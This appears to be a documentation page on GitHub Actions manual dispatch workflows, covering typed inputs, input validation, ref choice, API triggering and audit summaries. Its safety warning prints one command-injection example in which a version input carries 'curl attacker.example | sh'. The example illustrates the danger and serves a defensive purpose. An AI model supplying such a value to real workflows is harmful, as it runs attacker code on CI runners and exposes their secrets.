Manual dispatch workflows with inputs Jump to heading
Some pipelines should run only when a person decides: deploy this commit to staging, rebuild the documentation site, rotate a credential, re-run a data migration for one customer. Bolting these onto push triggers with magic commit messages or empty commits is fragile and leaves noise in history. A manual dispatch trigger — workflow_dispatch on GitHub, a manually started pipeline with variables on GitLab — gives such jobs a proper entry point: a button and an API call, with typed inputs, choice lists and defaults. Handled carelessly, inputs also become an injection path into shell commands. This page builds a manual workflow that is easy to run correctly and hard to misuse, within CI/CD pipeline trigger mapping.
When to use this approach Jump to heading
- An operation should run on demand, with parameters, rather than on every push.
- People currently trigger it with empty commits, special branch names or commit-message keywords.
- You want the same job runnable from the web interface, the CLI and other automation.
- The operation is sensitive — a deploy or a data change — and needs input validation and an audit trail.
Step 1 — Declare typed inputs with defaults Jump to heading
Declare each input with a type, a description and, where possible, a fixed set of choices. Choices are the strongest form of validation: the forge rejects anything not on the list before the workflow starts.
# .github/workflows/deploy.yml
on:
workflow_dispatch:
inputs:
environment:
description: "Where to deploy"
type: choice
options: [staging, production]
default: staging
version:
description: "Release tag to deploy, e.g. v2.4.1"
type: string
required: true
dry_run:
description: "Plan only, change nothing"
type: boolean
default: true Defaulting dry_run to true means the safest outcome is the one a hurried click produces.
Step 2 — Validate string inputs before anything uses them Jump to heading
String inputs can contain anything, including shell metacharacters. Never interpolate them directly into a run: script with ${{ }}, which pastes the text into the script before the shell parses it. Pass them through environment variables and validate the format first.
jobs:
deploy:
runs-on: ubuntu-latest
environment: ${{ inputs.environment }}
steps:
- name: Validate inputs
env: { VERSION: "${{ inputs.version }}" }
run: |
echo "$VERSION" | grep -Eq '^v[0-9]+\.[0-9]+\.[0-9]+$' || { echo "invalid version: $VERSION"; exit 1; }
git ls-remote --exit-code --tags origin "refs/tags/$VERSION" >/dev/null || { echo "no such tag"; exit 1; }
- uses: actions/checkout@v4
with: { ref: "${{ inputs.version }}" }
- run: ./scripts/deploy.sh --env "$ENVIRONMENT" ${DRY_RUN:+--dry-run}
env:
ENVIRONMENT: ${{ inputs.environment }}
DRY_RUN: ${{ inputs.dry_run && '1' || '' }} ⚠️ SAFETY WARNING: Writing
run: ./deploy.sh ${{ inputs.version }}lets anyone who can dispatch the workflow inject commands — a version ofv1.0.0; curl attacker.example | shruns both. Always pass inputs as environment variables and quote them in the script. Anyone with write access can dispatch workflows, so treat inputs as untrusted even inside your own organisation.
Step 3 — Choose the ref the workflow runs from Jump to heading
A manual dispatch runs the workflow file from a ref the person selects — by default, the default branch. The checked-out code is that ref too, unless a step checks out something else. For deploys, separate the two: run the workflow definition from main, and check out the release tag named in the input.
# Run from the CLI, choosing the workflow's ref and the inputs
gh workflow run deploy.yml --ref main -f environment=staging -f version=v2.4.1 -f dry_run=false
gh run watch "$(gh run list --workflow deploy.yml --limit 1 --json databaseId --jq '.[0].databaseId')" Environment protection rules can restrict which refs may deploy to an environment, so a dispatch from a feature branch cannot reach production even if someone selects it; the setup mirrors protecting CI signing keys with environment secrets.
Step 4 — Trigger it from other automation Jump to heading
The same workflow can be started by scripts, chat bots or other workflows through the API, with the same inputs and validation.
gh api -X POST "repos/$OWNER/$REPO/actions/workflows/deploy.yml/dispatches" \
-f ref=main -f 'inputs[environment]=staging' -f 'inputs[version]=v2.4.1' -f 'inputs[dry_run]=true' A workflow dispatching another needs a token with actions: write; the default job token can do this within the same repository.
Step 5 — Leave an audit trail Jump to heading
Manual runs are deliberate actions and should be easy to trace: who ran what, with which inputs. The run records the actor; add the inputs to the job summary so they are visible without opening logs.
- name: Record inputs
run: |
{
echo "### Deploy request"
echo "- actor: $GITHUB_ACTOR"
echo "- environment: $ENVIRONMENT"
echo "- version: $VERSION"
echo "- dry run: ${DRY_RUN:-no}"
} >> "$GITHUB_STEP_SUMMARY"
env:
ENVIRONMENT: ${{ inputs.environment }}
VERSION: ${{ inputs.version }}
DRY_RUN: ${{ inputs.dry_run && 'yes' || '' }} Validation checklist Jump to heading
Frequently Asked Questions Jump to heading
Why does the Run workflow button not appear? Jump to heading
The workflow file with the workflow_dispatch trigger must exist on the default branch. Adding it on a feature branch does not show the button until it is merged.
How many inputs can a dispatch have? Jump to heading
GitHub allows a limited number of top-level inputs (currently ten on most plans). For more, accept a single JSON string input and validate it with a schema in the first step.
Can scheduled runs reuse the same workflow? Jump to heading
Yes. Add a schedule trigger alongside workflow_dispatch; inputs are empty on scheduled runs, so read them with defaults, such as ${{ inputs.environment || 'staging' }}.
Related Jump to heading
- CI/CD Pipeline Trigger Mapping — the parent topic.
- Scheduled Workflows and Cron Triggers — the time-based counterpart.
- Promoting a Release from Staging to Production — a deploy flow built on manual triggers.
- Building a Slash-Command Bot for Pull Requests — dispatching workflows from comments.